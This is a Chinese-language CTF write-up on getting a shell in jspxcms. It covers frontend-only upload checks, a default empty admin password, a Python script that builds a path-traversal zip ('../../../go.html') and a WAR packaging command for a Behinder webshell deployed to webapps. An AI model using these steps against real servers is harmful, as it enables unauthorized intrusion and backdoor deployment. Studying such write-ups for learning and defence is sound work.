CTF之jspxcms任意文件上传到getshell

首页 / 网络安全 / 正文

ctf中遇到的一道web题,学习到了一些新知识,整理如下

c7.png
打开后是一个jspxcms系统,然后注册登陆后在头像处有上传,试了下发现应该无法绕过,然后在投稿处有图片和附件上传,抓包后发现此处只对前端做了校验,可以达到任意文件上传,正当感觉难道这么简单的时候,访问webshell发现403没有权限访问,试了试jspx发现也是不行,百度查了一下这个cms的配置文件对jsp文件做了限制,不能解析出来。
c3.png
c5.png
一开始没有全面的去了解这个cms的漏洞信息,然后进后台发现没验证码就是一顿爆破,top1000都不行,然后查了一下官方文档,发现默认是空密码!!!
c2.png
随之进入系统后有文件上传,可以上传zip文件进行在线解压,随之想办法进行目录穿越上传shell

首先生成自己的war包,进入到java jdk/bin的目录下,将shell文件拷贝在本目录下,这里我用的冰蝎的马

jar.exe cf qax.war qax.jsp

解析来使用脚本生成一个跨路径的压缩文件,并将war包拖放进去

import zipfile 

if __name__ == "__main__": 

 try:

  binary = b'<script>alert("helloworld")</script>'

  zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) 

  info = zipfile.ZipInfo("test.zip")

  zipFile.writestr("../../../go.html", binary)

  zipFile.close()

 except IOError as e: 

   raise e 

c6.png

到网站后台进行上传制作好的压缩包并解压
c1.png

ok,接下来就可以上冰蝎连接读取flag了,路径localhost/xxx/xxx.jsp

c4.png

总结:jspxcms会拦截并拒绝以jsp为结尾的请求,这在一定程度上妨碍了攻击者getShell。 上传的文件默认会在tomcat目录\webapps\ROOT\uploads\1\下,但构造压缩包可以使上传的文件穿到\webapps下,不会受jsp文件的约束。 因为无法直接访问\webapps里的jsp,所以需要上传包含马的a.war包,解压到webapps里从而部署后门到文件夹中

无标签